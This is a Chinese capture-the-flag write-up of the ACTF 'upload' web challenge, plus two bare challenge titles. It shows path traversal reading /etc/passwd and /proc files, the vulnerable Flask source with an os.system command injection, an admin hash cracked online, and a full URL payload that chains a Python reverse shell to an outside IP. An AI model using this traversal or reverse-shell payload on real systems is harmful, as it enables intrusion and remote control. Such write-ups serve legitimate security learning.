ACTF upload
admin不能直接爆破好像,全都是500报错。先随便注册一个账号登进去
上传文件界面会发现看不到只有一个img标签,且是data数据,base64加密的图片数据。

尝试直接在file_path参数后面拼接路径读取文件,../../etc/passwd
有回显。
把显示出来的数据拿去解密下载下来即可得到数据:

,尝试读取/proc/self/environ
看看有没有直接的flag(,发现灭有 /proc/self/cmdline
中显示当前有进程:python /app/app.py
于是得到源码app.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| import uuid import os import hashlib import base64 from flask import Flask, request, redirect, url_for, flash, session
app = Flask(__name__) app.secret_key = os.getenv('SECRET_KEY')
@app.route('/') def index(): if session.get('username'): return redirect(url_for('upload')) else: return redirect(url_for('login'))
@app.route('/login', methods=['POST', 'GET']) def login(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] if username == 'admin': if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0': session['username'] = username return redirect(url_for('index')) else: flash('Invalid password') else: session['username'] = username return redirect(url_for('index')) else: return ''' <h1>Login</h1> <h2>No need to register.</h2> <form action="/login" method="post"> <label for="username">Username:</label> <input type="text" id="username" name="username" required> <br> <label for="password">Password:</label> <input type="password" id="password" name="password" required> <br> <input type="submit" value="Login"> </form> '''
@app.route('/upload', methods=['POST', 'GET']) def upload(): if not session.get('username'): return redirect(url_for('login')) if request.method == 'POST': f = request.files['file'] file_path = str(uuid.uuid4()) + '_' + f.filename f.save('./uploads/' + file_path) return redirect(f'/upload?file_path={file_path}') else: if not request.args.get('file_path'): return ''' <h1>Upload Image</h1> <form action="/upload" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="Upload"> </form> ''' else: file_path = './uploads/' + request.args.get('file_path') if session.get('username') != 'admin': with open(file_path, 'rb') as f: content = f.read() b64 = base64.b64encode(content) return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">' else: os.system(f'base64 {file_path} > /tmp/{file_path}.b64') return 'Sorry, but you are not allowed to view this image.' if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
|
发现需要admin权限之后会有一个无回显的命令拼接执行,把哈希值拿去在线网站解密如下:

得到admin账户的密码,登录admin账户之后就发现确实是无回显,这里我尝试了好几次反弹shell,好像是环境的问题,后面才成功终于反弹成功。
这里贴一下总结反弹shell命令的文章:
反弹shell汇总,看我一篇就够了-CSDN博客
1
| http://223.112.5.141:55140/upload?file_path=111;python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('156.226.172.136',9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);";
|
拿到flag。

eznote
描述:
your favorite frontend challenge
附件:b5
Excellent-Site
描述:
My site is PERFECT!!!
hosts: 0.0.0.0 ezmail.org
附件:5a